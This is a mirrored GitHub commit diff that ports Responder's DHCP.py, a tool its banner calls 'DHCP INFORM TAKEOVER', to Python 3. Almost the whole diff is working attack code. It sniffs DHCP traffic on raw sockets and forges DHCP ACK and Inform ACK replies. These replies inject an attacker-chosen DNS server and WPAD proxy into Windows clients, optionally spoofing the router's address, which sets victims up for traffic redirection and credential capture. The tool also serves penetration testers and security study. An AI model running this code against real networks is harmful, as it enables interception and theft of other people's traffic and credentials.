mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-11 23:56:16 -07:00
Ported DHCP.py to py3
This commit is contained in:
parent
6658c2b98f
commit
3b3ee1314e
1 changed files with 78 additions and 35 deletions
113
tools/DHCP.py
113
tools/DHCP.py
|
@ -15,15 +15,16 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys
|
import sys
|
||||||
|
if (sys.version_info < (3, 0)):
|
||||||
|
sys.exit('This script is meant to be run with Python3')
|
||||||
import struct
|
import struct
|
||||||
import optparse
|
import optparse
|
||||||
import configparser
|
import configparser
|
||||||
import os
|
import os
|
||||||
|
import codecs
|
||||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||||
sys.path.insert(0, BASEDIR)
|
sys.path.insert(0, BASEDIR)
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from packets import Packet
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
||||||
|
@ -54,9 +55,48 @@ elif options.DNSIP2 is None:
|
||||||
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
|
#Python version
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
PY2OR3 = "PY3"
|
||||||
|
else:
|
||||||
|
PY2OR3 = "PY2"
|
||||||
|
|
||||||
|
def StructWithLenPython2or3(endian,data):
|
||||||
|
#Python2...
|
||||||
|
if PY2OR3 == "PY2":
|
||||||
|
return struct.pack(endian, data)
|
||||||
|
#Python3...
|
||||||
|
else:
|
||||||
|
return struct.pack(endian, data).decode('latin-1')
|
||||||
|
|
||||||
|
def NetworkSendBufferPython2or3(data):
|
||||||
|
if PY2OR3 == "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return bytes(str(data), 'latin-1')
|
||||||
|
|
||||||
|
def NetworkRecvBufferPython2or3(data):
|
||||||
|
if PY2OR3 == "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return str(data.decode('latin-1'))
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
print('#############################################################################')
|
print('#############################################################################')
|
||||||
print('## DHCP INFORM TAKEOVER 0.2 ##')
|
print('## DHCP INFORM TAKEOVER 0.3 ##')
|
||||||
print('## ##')
|
print('## ##')
|
||||||
print('## By default, this script will only inject a new DNS/WPAD ##')
|
print('## By default, this script will only inject a new DNS/WPAD ##')
|
||||||
print('## server to a Windows <= XP/2003 machine. ##')
|
print('## server to a Windows <= XP/2003 machine. ##')
|
||||||
|
@ -113,7 +153,7 @@ class UDP(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
|
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
|
||||||
|
|
||||||
class DHCPACK(Packet):
|
class DHCPACK(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -162,14 +202,14 @@ class DHCPACK(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
||||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||||
self.fields["Op15Str"] = DNSNAME
|
self.fields["Op15Str"] = DNSNAME
|
||||||
self.fields["Op252Str"] = WPADSRV
|
self.fields["Op252Str"] = WPADSRV
|
||||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||||
|
|
||||||
class DHCPInformACK(Packet):
|
class DHCPInformACK(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -212,14 +252,14 @@ class DHCPInformACK(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
||||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||||
self.fields["Op15Str"] = DNSNAME
|
self.fields["Op15Str"] = DNSNAME
|
||||||
self.fields["Op252Str"] = WPADSRV
|
self.fields["Op252Str"] = WPADSRV
|
||||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||||
|
|
||||||
def SpoofIP(Spoof):
|
def SpoofIP(Spoof):
|
||||||
return ROUTERIP if Spoof else Responder_IP
|
return ROUTERIP if Spoof else Responder_IP
|
||||||
|
@ -242,8 +282,9 @@ def ParseSrcDSTAddr(data):
|
||||||
return SrcIP, SrcPort, DstIP, DstPort
|
return SrcIP, SrcPort, DstIP, DstPort
|
||||||
|
|
||||||
def FindIP(data):
|
def FindIP(data):
|
||||||
|
data = data.decode('latin-1')
|
||||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||||
return ''.join(IP[0:4])
|
return ''.join(IP[0:4]).encode('latin-1')
|
||||||
|
|
||||||
def ParseDHCPCode(data):
|
def ParseDHCPCode(data):
|
||||||
PTid = data[4:8]
|
PTid = data[4:8]
|
||||||
|
@ -251,52 +292,54 @@ def ParseDHCPCode(data):
|
||||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||||
RequestedIP = socket.inet_ntoa(data[16:20])
|
RequestedIP = socket.inet_ntoa(data[16:20])
|
||||||
MacAddr = data[28:34]
|
MacAddr = data[28:34]
|
||||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
|
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
|
||||||
OpCode = data[242:243]
|
OpCode = data[242:243]
|
||||||
RequestIP = data[245:249]
|
RequestIP = data[245:249]
|
||||||
|
|
||||||
# DHCP Inform
|
# DHCP Inform
|
||||||
if OpCode == "\x08":
|
if OpCode == b"\x08":
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
|
||||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
|
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
||||||
GiveClientIP=socket.inet_aton("0.0.0.0"),
|
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||||
NextServerIP=socket.inet_aton("0.0.0.0"),
|
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||||
RelayAgentIP=socket.inet_aton("0.0.0.0"),
|
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||||
ElapsedSec=Seconds)
|
ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||||
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
|
|
||||||
|
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
|
||||||
IP = FindIP(data)
|
IP = FindIP(data)
|
||||||
if IP:
|
if IP:
|
||||||
IPConv = socket.inet_ntoa(IP)
|
IPConv = socket.inet_ntoa(IP)
|
||||||
if RespondToThisIP(IPConv):
|
if RespondToThisIP(IPConv):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||||
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
|
|
||||||
|
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
||||||
IP = FindIP(data)
|
IP = FindIP(data)
|
||||||
if IP:
|
if IP:
|
||||||
IPConv = socket.inet_ntoa(IP)
|
IPConv = socket.inet_ntoa(IP)
|
||||||
if RespondToThisIP(IPConv):
|
if RespondToThisIP(IPConv):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||||
|
|
||||||
def SendDHCP(packet,Host):
|
def SendDHCP(packet,Host):
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||||
s.sendto(packet, Host)
|
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||||
|
@ -305,7 +348,7 @@ if __name__ == "__main__":
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
data = s.recvfrom(65535)
|
data = s.recvfrom(65535)
|
||||||
if data[0][23:24] == "\x11": # is udp?
|
if data[0][23:24] == b"\x11": # is udp?
|
||||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||||
|
|
||||||
if SrcPort == 67 or DstPort == 67:
|
if SrcPort == 67 or DstPort == 67:
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue